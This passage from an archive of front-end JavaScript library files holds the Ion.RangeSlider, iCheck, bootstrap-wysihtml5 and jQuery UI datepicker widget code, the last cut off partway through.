			"disabled": "disabled"
		},
		"collection": {
			"container": "DTTT_dropdown dropdown-menu",
			"buttons": {
				"normal": "",
				"disabled": "disabled"
			}
		},
		"print": {
			"info": "DTTT_print_info modal"
		},
		"select": {
			"row": "active"
		}
	} );

	// Have the collection use a bootstrap compatible dropdown
	$.extend( true, $.fn.DataTable.TableTools.DEFAULTS.oTags, {
		"collection": {
			"container": "ul",
			"button": "li",
			"liner": "a"
		}
	} );
}

js/ion.rangeSlider.min.js000060400000022770150710775200011333 0ustar00// Ion.RangeSlider
// version 1.8.2
// https://github.com/IonDen/ion.rangeSlider
(function(c,X,ea,S){var Y=0,O=function(){var c=S.userAgent,a=/msie\s\d+/i;return 0<c.search(a)&&(c=a.exec(c).toString(),c=c.split(" ")[1],9>c)?!0:!1}(),H;try{X.createEvent("TouchEvent"),H=!0}catch(ga){H=!1}var N={init:function(A){return this.each(function(){var a=c.extend({min:10,max:100,from:null,to:null,type:"single",step:1,prefix:"",postfix:"",hasGrid:!1,hideMinMax:!1,hideFromTo:!1,prettify:!0,onChange:null,onLoad:null,onFinish:null},A),d=c(this),u=this;if(!d.data("isActive")){d.data("isActive",
!0);this.pluginCount=Y+=1;d.prop("value")&&(a.min=parseInt(d.prop("value").split(";")[0],10),a.max=parseInt(d.prop("value").split(";")[1],10));"number"!==typeof a.from&&(a.from=a.min);"number"!==typeof a.to&&(a.to=a.max);"number"===typeof d.data("from")&&(a.from=parseFloat(d.data("from")));"number"===typeof d.data("to")&&(a.to=parseFloat(d.data("to")));d.data("step")&&(a.step=parseFloat(d.data("step")));d.data("type")&&(a.type=d.data("type"));d.data("prefix")&&(a.prefix=d.data("prefix"));d.data("postfix")&&
(a.postfix=d.data("postfix"));d.data("hasgrid")&&(a.hasGrid=d.data("hasgrid"));d.data("hideminmax")&&(a.hideMinMax=d.data("hideminmax"));d.data("hidefromto")&&(a.hideFromTo=d.data("hidefromto"));d.data("prettify")&&(a.prettify=d.data("prettify"));a.from<a.min&&(a.from=a.min);a.to>a.max&&(a.to=a.max);"double"===a.type&&(a.from>a.to&&(a.from=a.to),a.to<a.from&&(a.to=a.from));var v=function(b){b=b.toString();a.prettify&&(b=b.replace(/(\d{1,3}(?=(?:\d\d\d)+(?!\d)))/g,"$1 "));return b},N='<span class="irs" id="irs-'+
this.pluginCount+'"></span>';d[0].style.display="none";d.before(N);var w=c("#irs-"+this.pluginCount),C=c(X.body),I=c(ea),l,D,E,x,y,q,r,e,m,s,T,Z,p=!1,t=!1,P=!0,g={},U=0,J=0,K=0,k=0,B=0,L=0,V=0,Q=0,R=0,$=0,n=0;parseInt(a.step,10)!==parseFloat(a.step)&&(n=a.step.toString().split(".")[1],n=Math.pow(10,n.length));this.updateData=function(b){P=!0;a=c.extend(a,b);w.find("*").off();I.off("mouseup.irs"+u.pluginCount);C.off("mouseup.irs"+u.pluginCount);C.off("mousemove.irs"+u.pluginCount);w.html("");aa()};
this.removeSlider=function(){w.find("*").off();I.off("mouseup.irs"+u.pluginCount);C.off("mouseup.irs"+u.pluginCount);C.off("mousemove.irs"+u.pluginCount);w.html("").remove();d.data("isActive",!1);d.show()};var aa=function(){w.html('<span class="irs"><span class="irs-line"><span class="irs-line-left"></span><span class="irs-line-mid"></span><span class="irs-line-right"></span></span><span class="irs-min">0</span><span class="irs-max">1</span><span class="irs-from">0</span><span class="irs-to">0</span><span class="irs-single">0</span></span><span class="irs-grid"></span>');
l=w.find(".irs");D=l.find(".irs-min");E=l.find(".irs-max");x=l.find(".irs-from");y=l.find(".irs-to");q=l.find(".irs-single");Z=w.find(".irs-grid");a.hideMinMax&&(D[0].style.display="none",E[0].style.display="none",K=J=0);a.hideFromTo&&(x[0].style.display="none",y[0].style.display="none",q[0].style.display="none");a.hideMinMax||(D.html(a.prefix+v(a.min)+a.postfix),E.html(a.prefix+v(a.max)+a.postfix),J=D.outerWidth(),K=E.outerWidth());if("single"===a.type){if(l.append('<span class="irs-slider single"></span>'),
r=l.find(".single"),r.on("mousedown",function(a){a.preventDefault();a.stopPropagation();F(a,c(this),null);t=p=!0;O&&c("*").prop("unselectable",!0)}),H)r.on("touchstart",function(a){a.preventDefault();a.stopPropagation();F(a.originalEvent.touches[0],c(this),null);t=p=!0})}else"double"===a.type&&(l.append('<span class="irs-diapason"></span><span class="irs-slider from"></span><span class="irs-slider to"></span>'),e=l.find(".from"),m=l.find(".to"),T=l.find(".irs-diapason"),M(),e.on("mousedown",function(a){a.preventDefault();
a.stopPropagation();c(this).addClass("last");m.removeClass("last");F(a,c(this),"from");t=p=!0;O&&c("*").prop("unselectable",!0)}),m.on("mousedown",function(a){a.preventDefault();a.stopPropagation();c(this).addClass("last");e.removeClass("last");F(a,c(this),"to");t=p=!0;O&&c("*").prop("unselectable",!0)}),H&&(e.on("touchstart",function(a){a.preventDefault();a.stopPropagation();c(this).addClass("last");m.removeClass("last");F(a.originalEvent.touches[0],c(this),"from");t=p=!0}),m.on("touchstart",function(a){a.preventDefault();
a.stopPropagation();c(this).addClass("last");e.removeClass("last");F(a.originalEvent.touches[0],c(this),"to");t=p=!0})),a.to===a.max&&e.addClass("last"));var b=function(){p&&(p=t=!1,s.removeAttr("id"),s=null,"double"===a.type&&M(),W(),O&&c("*").prop("unselectable",!1))};C.on("mouseup.irs"+u.pluginCount,function(){b()});I.on("mouseup.irs"+u.pluginCount,function(){b()});C.on("mousemove.irs"+u.pluginCount,function(a){p&&(U=a.pageX,ba())});H&&(I.on("touchend",function(){p&&(p=t=!1,s.removeAttr("id"),
s=null,"double"===a.type&&M(),W())}),I.on("touchmove",function(a){p&&(U=a.originalEvent.touches[0].pageX,ba())}));ca();S();a.hasGrid&&fa()},ca=function(){k=l.width();L=r?r.width():e.width();B=k-L},F=function(b,f,c){ca();P=!1;s=f;s.attr("id","irs-active-slider");f=s.offset().left;$=f+(b.pageX-f)-s.position().left;"single"===a.type?V=l.width()-L:"double"===a.type&&("from"===c?(Q=0,R=parseInt(m.css("left"),10)):(Q=parseInt(e.css("left"),10),R=l.width()-L))},M=function(){var a=e.width(),f=c.data(e[0],
"x")||parseInt(e[0].style.left,10)||e.position().left,G=(c.data(m[0],"x")||parseInt(m[0].style.left,10)||m.position().left)-f;T[0].style.left=f+a/2+"px";T[0].style.width=G+"px"},ba=function(){var b=U-$;"single"===a.type?(0>b&&(b=0),b>V&&(b=V)):"double"===a.type&&(b<Q&&(b=Q),b>R&&(b=R),M());c.data(s[0],"x",b);W();b=Math.round(b);s[0].style.left=b+"px"},W=function(){var b={fromNumber:0,toNumber:0,fromPers:0,toPers:0,fromX:0,toX:0},f=a.max-a.min,G;"single"===a.type?(b.fromX=c.data(r[0],"x")||parseInt(r[0].style.left,
10)||r.position().left,b.fromPers=b.fromX/B*100,G=f/100*b.fromPers+parseInt(a.min,10),b.fromNumber=Math.round(G/a.step)*a.step,n&&(b.fromNumber=parseInt(b.fromNumber*n,10)/n)):"double"===a.type&&(b.fromX=c.data(e[0],"x")||parseInt(e[0].style.left,10)||e.position().left,b.fromPers=b.fromX/B*100,G=f/100*b.fromPers+parseInt(a.min,10),b.fromNumber=Math.round(G/a.step)*a.step,b.toX=c.data(m[0],"x")||parseInt(m[0].style.left,10)||m.position().left,b.toPers=b.toX/B*100,f=f/100*b.toPers+parseInt(a.min,10),
b.toNumber=Math.round(f/a.step)*a.step,n&&(b.fromNumber=parseInt(b.fromNumber*n,10)/n,b.toNumber=parseInt(b.toNumber*n,10)/n));g=b;da()},S=function(){var b={fromNumber:a.from,toNumber:a.to,fromPers:0,toPers:0,fromX:0,fromX_pure:0,toX:0,toX_pure:0},f=a.max-a.min;"single"===a.type?(b.fromPers=(b.fromNumber-a.min)/f*100,b.fromX_pure=B/100*b.fromPers,b.fromX=Math.round(b.fromX_pure),r[0].style.left=b.fromX+"px",c.data(r[0],"x",b.fromX_pure)):"double"===a.type&&(b.fromPers=(b.fromNumber-a.min)/f*100,b.fromX_pure=
B/100*b.fromPers,b.fromX=Math.round(b.fromX_pure),e[0].style.left=b.fromX+"px",c.data(e[0],"x",b.fromX_pure),b.toPers=(b.toNumber-a.min)/f*100,b.toX_pure=B/100*b.toPers,b.toX=Math.round(b.toX_pure),m[0].style.left=b.toX+"px",c.data(m[0],"x",b.toX_pure),M());g=b;da()},da=function(){var b,f,c,z,e,h;h=L/2;"single"===a.type?(a.hideText||(x[0].style.display="none",y[0].style.display="none",c=a.prefix+v(g.fromNumber)+a.postfix,q.html(c),e=q.outerWidth(),h=g.fromX-e/2+h,0>h&&(h=0),h>k-e&&(h=k-e),q[0].style.left=
h+"px",a.hideMinMax||a.hideFromTo||(D[0].style.display=h<J?"none":"block",E[0].style.display=h+e>k-K?"none":"block")),d.attr("value",parseInt(g.fromNumber,10))):"double"===a.type&&(a.hideText||(b=a.prefix+v(g.fromNumber)+a.postfix,f=a.prefix+v(g.toNumber)+a.postfix,c=g.fromNumber!==g.toNumber?a.prefix+v(g.fromNumber)+" \u2014 "+a.prefix+v(g.toNumber)+a.postfix:a.prefix+v(g.fromNumber)+a.postfix,x.html(b),y.html(f),q.html(c),b=x.outerWidth(),f=g.fromX-b/2+h,0>f&&(f=0),f>k-b&&(f=k-b),x[0].style.left=
f+"px",c=y.outerWidth(),z=g.toX-c/2+h,0>z&&(z=0),z>k-c&&(z=k-c),y[0].style.left=z+"px",e=q.outerWidth(),h=g.fromX+(g.toX-g.fromX)/2-e/2+h,0>h&&(h=0),h>k-e&&(h=k-e),q[0].style.left=h+"px",f+b<z?(q[0].style.display="none",x[0].style.display="block",y[0].style.display="block"):(q[0].style.display="block",x[0].style.display="none",y[0].style.display="none"),a.hideMinMax||a.hideFromTo||(D[0].style.display=h<J||f<J?"none":"block",E[0].style.display=h+e>k-K||z+c>k-K?"none":"block")),d.attr("value",parseInt(g.fromNumber,
10)+";"+parseInt(g.toNumber,10)));"function"===typeof a.onChange&&a.onChange.call(this,g);"function"!==typeof a.onFinish||t||P||a.onFinish.call(this,g);"function"===typeof a.onLoad&&!t&&P&&a.onLoad.call(this,g)},fa=function(){w.addClass("irs-with-grid");var b,c="",d=0,d=0,e="";for(b=0;20>=b;b+=1)d=Math.floor(k/20*b),d>=k&&(d=k-1),e+='<span class="irs-grid-pol small" style="left: '+d+'px;"></span>';for(b=0;4>=b;b+=1)d=Math.floor(k/4*b),d>=k&&(d=k-1),e+='<span class="irs-grid-pol" style="left: '+d+
'px;"></span>',n?(c=a.min+(a.max-a.min)/4*b,c=c/a.step*a.step,c=parseInt(c*n,10)/n):(c=Math.round(a.min+(a.max-a.min)/4*b),c=Math.round(c/a.step)*a.step,c=v(c)),0===b?e+='<span class="irs-grid-text" style="left: '+d+'px; text-align: left;">'+c+"</span>":4===b?(d-=100,e+='<span class="irs-grid-text" style="left: '+d+'px; text-align: right;">'+c+"</span>"):(d-=50,e+='<span class="irs-grid-text" style="left: '+d+'px;">'+c+"</span>");Z.html(e)};aa()}})},update:function(c){return this.each(function(){this.updateData(c)})},
remove:function(){return this.each(function(){this.removeSlider()})}};c.fn.ionRangeSlider=function(A){if(N[A])return N[A].apply(this,Array.prototype.slice.call(arguments,1));if("object"!==typeof A&&A)c.error("Method "+A+" does not exist for jQuery.ionRangeSlider");else return N.init.apply(this,arguments)}})(jQuery,document,window,navigator);js/icheck.min.js000060400000010625150710775200007532 0ustar00/*! iCheck v1.0.1 by Damir Sultanov, http://git.io/arlzeA, MIT Licensed */
(function(h){function F(a,b,d){var c=a[0],e=/er/.test(d)?m:/bl/.test(d)?s:l,f=d==H?{checked:c[l],disabled:c[s],indeterminate:"true"==a.attr(m)||"false"==a.attr(w)}:c[e];if(/^(ch|di|in)/.test(d)&&!f)D(a,e);else if(/^(un|en|de)/.test(d)&&f)t(a,e);else if(d==H)for(e in f)f[e]?D(a,e,!0):t(a,e,!0);else if(!b||"toggle"==d){if(!b)a[p]("ifClicked");f?c[n]!==u&&t(a,e):D(a,e)}}function D(a,b,d){var c=a[0],e=a.parent(),f=b==l,A=b==m,B=b==s,K=A?w:f?E:"enabled",p=k(a,K+x(c[n])),N=k(a,b+x(c[n]));if(!0!==c[b]){if(!d&&
b==l&&c[n]==u&&c.name){var C=a.closest("form"),r='input[name="'+c.name+'"]',r=C.length?C.find(r):h(r);r.each(function(){this!==c&&h(this).data(q)&&t(h(this),b)})}A?(c[b]=!0,c[l]&&t(a,l,"force")):(d||(c[b]=!0),f&&c[m]&&t(a,m,!1));L(a,f,b,d)}c[s]&&k(a,y,!0)&&e.find("."+I).css(y,"default");e[v](N||k(a,b)||"");B?e.attr("aria-disabled","true"):e.attr("aria-checked",A?"mixed":"true");e[z](p||k(a,K)||"")}function t(a,b,d){var c=a[0],e=a.parent(),f=b==l,h=b==m,q=b==s,p=h?w:f?E:"enabled",t=k(a,p+x(c[n])),
u=k(a,b+x(c[n]));if(!1!==c[b]){if(h||!d||"force"==d)c[b]=!1;L(a,f,p,d)}!c[s]&&k(a,y,!0)&&e.find("."+I).css(y,"pointer");e[z](u||k(a,b)||"");q?e.attr("aria-disabled","false"):e.attr("aria-checked","false");e[v](t||k(a,p)||"")}function M(a,b){if(a.data(q)){a.parent().html(a.attr("style",a.data(q).s||""));if(b)a[p](b);a.off(".i").unwrap();h(G+'[for="'+a[0].id+'"]').add(a.closest(G)).off(".i")}}function k(a,b,d){if(a.data(q))return a.data(q).o[b+(d?"":"Class")]}function x(a){return a.charAt(0).toUpperCase()+
a.slice(1)}function L(a,b,d,c){if(!c){if(b)a[p]("ifToggled");a[p]("ifChanged")[p]("if"+x(d))}}var q="iCheck",I=q+"-helper",u="radio",l="checked",E="un"+l,s="disabled",w="determinate",m="in"+w,H="update",n="type",v="addClass",z="removeClass",p="trigger",G="label",y="cursor",J=/ipad|iphone|ipod|android|blackberry|windows phone|opera mini|silk/i.test(navigator.userAgent);h.fn[q]=function(a,b){var d='input[type="checkbox"], input[type="'+u+'"]',c=h(),e=function(a){a.each(function(){var a=h(this);c=a.is(d)?
c.add(a):c.add(a.find(d))})};if(/^(check|uncheck|toggle|indeterminate|determinate|disable|enable|update|destroy)$/i.test(a))return a=a.toLowerCase(),e(this),c.each(function(){var c=h(this);"destroy"==a?M(c,"ifDestroyed"):F(c,!0,a);h.isFunction(b)&&b()});if("object"!=typeof a&&a)return this;var f=h.extend({checkedClass:l,disabledClass:s,indeterminateClass:m,labelHover:!0,aria:!1},a),k=f.handle,B=f.hoverClass||"hover",x=f.focusClass||"focus",w=f.activeClass||"active",y=!!f.labelHover,C=f.labelHoverClass||
"hover",r=(""+f.increaseArea).replace("%","")|0;if("checkbox"==k||k==u)d='input[type="'+k+'"]';-50>r&&(r=-50);e(this);return c.each(function(){var a=h(this);M(a);var c=this,b=c.id,e=-r+"%",d=100+2*r+"%",d={position:"absolute",top:e,left:e,display:"block",width:d,height:d,margin:0,padding:0,background:"#fff",border:0,opacity:0},e=J?{position:"absolute",visibility:"hidden"}:r?d:{position:"absolute",opacity:0},k="checkbox"==c[n]?f.checkboxClass||"icheckbox":f.radioClass||"i"+u,m=h(G+'[for="'+b+'"]').add(a.closest(G)),
A=!!f.aria,E=q+"-"+Math.random().toString(36).substr(2,6),g='<div class="'+k+'" '+(A?'role="'+c[n]+'" ':"");A&&m.each(function(){g+='aria-labelledby="';this.id?g+=this.id:(this.id=E,g+=E);g+='"'});g=a.wrap(g+"/>")[p]("ifCreated").parent().append(f.insert);d=h('<ins class="'+I+'"/>').css(d).appendTo(g);a.data(q,{o:f,s:a.attr("style")}).css(e);f.inheritClass&&g[v](c.className||"");f.inheritID&&b&&g.attr("id",q+"-"+b);"static"==g.css("position")&&g.css("position","relative");F(a,!0,H);if(m.length)m.on("click.i mouseover.i mouseout.i touchbegin.i touchend.i",
function(b){var d=b[n],e=h(this);if(!c[s]){if("click"==d){if(h(b.target).is("a"))return;F(a,!1,!0)}else y&&(/ut|nd/.test(d)?(g[z](B),e[z](C)):(g[v](B),e[v](C)));if(J)b.stopPropagation();else return!1}});a.on("click.i focus.i blur.i keyup.i keydown.i keypress.i",function(b){var d=b[n];b=b.keyCode;if("click"==d)return!1;if("keydown"==d&&32==b)return c[n]==u&&c[l]||(c[l]?t(a,l):D(a,l)),!1;if("keyup"==d&&c[n]==u)!c[l]&&D(a,l);else if(/us|ur/.test(d))g["blur"==d?z:v](x)});d.on("click mousedown mouseup mouseover mouseout touchbegin.i touchend.i",
function(b){var d=b[n],e=/wn|up/.test(d)?w:B;if(!c[s]){if("click"==d)F(a,!1,!0);else{if(/wn|er|in/.test(d))g[v](e);else g[z](e+" "+w);if(m.length&&y&&e==B)m[/ut|nd/.test(d)?z:v](C)}if(J)b.stopPropagation();else return!1}})})}})(window.jQuery||window.Zepto);
js/bootstrap-wysihtml5-0.0.2.js000060400000021117150710775200012133 0ustar00!function($, wysi) {
	"use strict"
	
	var templates = {
		"font-styles": "<li class='dropdown'>" +
							"<a class='btn btn-default dropdown-toggle' data-toggle='dropdown' href='#'>" +
								"<i class='glyphicon glyphicon-font'></i>&nbsp;<span class='current-font'>Normal text</span>&nbsp;<b class='caret'></b>" +
							"</a>" +
						    "<ul class='dropdown-menu'>" +
						      	"<li><a data-wysihtml5-command='formatBlock' data-wysihtml5-command-value='div'>Normal text</a></li>" +
					            "<li><a data-wysihtml5-command='formatBlock' data-wysihtml5-command-value='h1'>Heading 1</a></li>" +
					            "<li><a data-wysihtml5-command='formatBlock' data-wysihtml5-command-value='h2'>Heading 2</a></li>" +
						    "</ul>" +
						"</li>",
		"emphasis":     "<li>" +
							"<div class='btn-group'>" 
							    + "<a class='btn btn-default' data-wysihtml5-command='bold' title='CTRL+B'>Bold</a>" 
							    + "<a class='btn btn-default' data-wysihtml5-command='italic' title='CTRL+I'>Italic</a>" 
							    //,+ "<a class='btn' data-wysihtml5-command='underline' title='CTRL+U'>Underline</a>" 
							+ "</div>" 
						+ "</li>",
		"lists": 	"<li>" 
						+ "<div class='btn-group'>" 
					    	+ "<a class='btn btn-default' data-wysihtml5-command='insertUnorderedList' title='Unordered List'><i class='glyphicon glyphicon-list'></i></a>" 
						    + "<a class='btn btn-default' data-wysihtml5-command='insertOrderedList' title='Ordered List'><i class='glyphicon glyphicon-th-list'></i></a>" 
						    + "<a class='btn btn-default' data-wysihtml5-command='Outdent' title='Outdent'><i class='glyphicon glyphicon-align-right'></i></a>"  							    
						    + "<a class='btn btn-default' data-wysihtml5-command='Indent' title='Indent'><i class='glyphicon glyphicon-align-left'></i></a>" 
						+ "</div>" 
					+ "</li>",

		"link": 	"<li>" 
						
						+ "<div class='bootstrap-wysihtml5-insert-link-modal modal hide fade'>"
							+ "<div class='modal-header'>"
							+ "<a class='close' data-dismiss='modal'>×</a>"
							  + "<h3>Insert Link</h3>"
							+ "</div>"
							+ "<div class='modal-body'>"
							  + "<input value='http://' class='bootstrap-wysihtml5-insert-link-url input-xlarge'>"
							+ "</div>"
							+ "<div class='modal-footer'>"
							  + "<a href='#' class='btn btn-default' data-dismiss='modal'>Cancel</a>"
							  + "<a href='#' class='btn btn-primary' data-dismiss='modal'>Insert link</a>"
							+ "</div>"
						+ "</div>"

				    	+ "<a class='btn btn-default' data-wysihtml5-command='createLink' title='Link'><i class='glyphicon glyphicon-share'></i></a>" 

					+ "</li>",

			"image": "<li>" 
						
						+ "<div class='bootstrap-wysihtml5-insert-image-modal modal hide fade'>"
							+ "<div class='modal-header'>"
							+ "<a class='close' data-dismiss='modal'>×</a>"
							  + "<h3>Insert Image</h3>"
							+ "</div>"
							+ "<div class='modal-body'>"
							  + "<input value='http://' class='bootstrap-wysihtml5-insert-image-url input-xlarge'>"
							+ "</div>"
							+ "<div class='modal-footer'>"
							  + "<a href='#' class='btn btn-default' data-dismiss='modal'>Cancel</a>"
							  + "<a href='#' class='btn btn-primary' data-dismiss='modal'>Insert image</a>"
							+ "</div>"
						+ "</div>"

						+ "<a class='btn btn-default' data-wysihtml5-command='insertImage' title='Insert image'><i class='glyphicon glyphicon-picture'></i></a>" 

					+ "</li>",

		"html": 
						"<li>"
							+ "<div class='btn-group'>"
								+ "<a class='btn btn-default' data-wysihtml5-action='change_view' title='Edit HTML'><i class='glyphicon glyphicon-pencil'></i></a>" 
							+ "</div>"
						+ "</li>"
	};
	
	var defaultOptions = {
		"font-styles": true,
		"emphasis": true,
		"lists": true,
		"html": true,
		"link": true,
		"image": true,
		events: {},
		parserRules: {
			tags: {
				"b":  {},
				"i":  {},
				"br": {},
				"ol": {},
				"ul": {},
				"li": {},
				"h1": {},
				"h2": {},
				"u": 1,
				"img": {
					"check_attributes": {
			            "width": "numbers",
			            "alt": "alt",
			            "src": "url",
			            "height": "numbers"
			        }
				},
				"a":  {
					set_attributes: {
						target: "_blank",
						rel:    "nofollow"
					},
					check_attributes: {
						href:   "url" // important to avoid XSS
					}
				}
			}
		}
	};

	var Wysihtml5 = function(el, options) {
		this.el = el;
		this.toolbar = this.createToolbar(el, options || defaultOptions);
		this.editor =  this.createEditor(options);
		
		window.editor = this.editor;

  		$('iframe.wysihtml5-sandbox').each(function(i, el){
			$(el.contentWindow).off('focus.wysihtml5').on({
			  'focus.wysihtml5' : function(){
			     $('li.dropdown').removeClass('open');
			   }
			});
		});
	};

	Wysihtml5.prototype = {
		constructor: Wysihtml5,

		createEditor: function(options) {
			var parserRules = defaultOptions.parserRules; 

			if(options && options.parserRules) {
				parserRules = options.parserRules;
			}
				
			var editor = new wysi.Editor(this.el.attr('id'), {
	    		toolbar: this.toolbar.attr('id'),
				parserRules: parserRules
	  		});

	  		if(options && options.events) {
				for(var eventName in options.events) {
					editor.on(eventName, options.events[eventName]);
				}
			}	

	  		return editor;
		},
		
		createToolbar: function(el, options) {
			var self = this;
			var toolbar = $("<ul/>", {
				'id' : el.attr('id') + "-wysihtml5-toolbar",
				'class' : "wysihtml5-toolbar",
				'style': "display:none"
			});

			for(var key in defaultOptions) {
				var value = false;
				
				if(options[key] != undefined) {
					if(options[key] == true) {
						value = true;
					}
				} else {
					value = defaultOptions[key];
				}
				
				if(value == true) {
					toolbar.append(templates[key]);

					if(key == "html") {
						this.initHtml(toolbar);
					}

					if(key == "link") {
						this.initInsertLink(toolbar);
					}

					if(key == "image") {
						this.initInsertImage(toolbar);
					}
				}
			}
			
			var self = this;
			
			toolbar.find("a[data-wysihtml5-command='formatBlock']").click(function(e) {
				var el = $(e.srcElement);
				self.toolbar.find('.current-font').text(el.html())
			});
			
			this.el.before(toolbar);
			
			return toolbar;
		},

		initHtml: function(toolbar) {
			var changeViewSelector = "a[data-wysihtml5-action='change_view']";
			toolbar.find(changeViewSelector).click(function(e) {
				toolbar.find('a.btn').not(changeViewSelector).toggleClass('disabled');
			});
		},

		initInsertImage: function(toolbar) {
			var self = this;
			var insertImageModal = toolbar.find('.bootstrap-wysihtml5-insert-image-modal');
			var urlInput = insertImageModal.find('.bootstrap-wysihtml5-insert-image-url');
			var insertButton = insertImageModal.find('a.btn-primary');
			var initialValue = urlInput.val();

			var insertImage = function() { 
				var url = urlInput.val();
				urlInput.val(initialValue);
				self.editor.composer.commands.exec("insertImage", url);
			};
			
			urlInput.keypress(function(e) {
				if(e.which == 13) {
					insertImage();
					insertImageModal.modal('hide');
				}
			});

			insertButton.click(insertImage);

			insertImageModal.on('shown', function() {
				urlInput.focus();
			});

			insertImageModal.on('hide', function() { 
				self.editor.currentView.element.focus();
			});

			toolbar.find('a[data-wysihtml5-command=insertImage]').click(function() {
				insertImageModal.modal('show');
			});
		},

		initInsertLink: function(toolbar) {
			var self = this;
			var insertLinkModal = toolbar.find('.bootstrap-wysihtml5-insert-link-modal');
			var urlInput = insertLinkModal.find('.bootstrap-wysihtml5-insert-link-url');
			var insertButton = insertLinkModal.find('a.btn-primary');
			var initialValue = urlInput.val();

			var insertLink = function() { 
				var url = urlInput.val();
				urlInput.val(initialValue);
				self.editor.composer.commands.exec("createLink", { 
					href: url, 
					target: "_blank", 
					rel: "nofollow" 
				});
			};
			var pressedEnter = false;

			urlInput.keypress(function(e) {
				if(e.which == 13) {
					insertLink();
					insertLinkModal.modal('hide');
				}
			});

			insertButton.click(insertLink);

			insertLinkModal.on('shown', function() {
				urlInput.focus();
			});

			insertLinkModal.on('hide', function() { 
				self.editor.currentView.element.focus();
			});

			toolbar.find('a[data-wysihtml5-command=createLink]').click(function() {
				insertLinkModal.modal('show');
			});
		}
	};

	$.fn.wysihtml5 = function (options) {
		return this.each(function () {
			var $this = $(this);
	      	$this.data('wysihtml5', new Wysihtml5($this, options));
	    })
  	};

  	$.fn.wysihtml5.Constructor = Wysihtml5;

}(window.jQuery, window.wysihtml5);
js/jquery.ui.datepicker.min.js000060400000105736150710775200012361 0ustar00/*! jQuery UI - v1.10.3 - 2013-05-03
* http://jqueryui.com
* Copyright 2013 jQuery Foundation and other contributors; Licensed MIT */
(function(t,e){function i(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},t.extend(this._defaults,this.regional[""]),this.dpDiv=s(t("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function s(e){var i="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return e.delegate(i,"mouseout",function(){t(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&t(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&t(this).removeClass("ui-datepicker-next-hover")}).delegate(i,"mouseover",function(){t.datepicker._isDisabledDatepicker(a.inline?e.parent()[0]:a.input[0])||(t(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),t(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&t(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&t(this).addClass("ui-datepicker-next-hover"))})}function n(e,i){t.extend(e,i);for(var s in i)null==i[s]&&(e[s]=i[s]);return e}t.extend(t.ui,{datepicker:{version:"1.10.3"}});var a,r="datepicker";t.extend(i.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(t){return n(this._defaults,t||{}),this},_attachDatepicker:function(e,i){var s,n,a;s=e.nodeName.toLowerCase(),n="div"===s||"span"===s,e.id||(this.uuid+=1,e.id="dp"+this.uuid),a=this._newInst(t(e),n),a.settings=t.extend({},i||{}),"input"===s?this._connectDatepicker(e,a):n&&this._inlineDatepicker(e,a)},_newInst:function(e,i){var n=e[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1");return{id:n,input:e,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:i,dpDiv:i?s(t("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(e,i){var s=t(e);i.append=t([]),i.trigger=t([]),s.hasClass(this.markerClassName)||(this._attachments(s,i),s.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp),this._autoSize(i),t.data(e,r,i),i.settings.disabled&&this._disableDatepicker(e))},_attachments:function(e,i){var s,n,a,r=this._get(i,"appendText"),o=this._get(i,"isRTL");i.append&&i.append.remove(),r&&(i.append=t("<span class='"+this._appendClass+"'>"+r+"</span>"),e[o?"before":"after"](i.append)),e.unbind("focus",this._showDatepicker),i.trigger&&i.trigger.remove(),s=this._get(i,"showOn"),("focus"===s||"both"===s)&&e.focus(this._showDatepicker),("button"===s||"both"===s)&&(n=this._get(i,"buttonText"),a=this._get(i,"buttonImage"),i.trigger=t(this._get(i,"buttonImageOnly")?t("<img/>").addClass(this._triggerClass).attr({src:a,alt:n,title:n}):t("<button type='button'></button>").addClass(this._triggerClass).html(a?t("<img/>").attr({src:a,alt:n,title:n}):n)),e[o?"before":"after"](i.trigger),i.trigger.click(function(){return 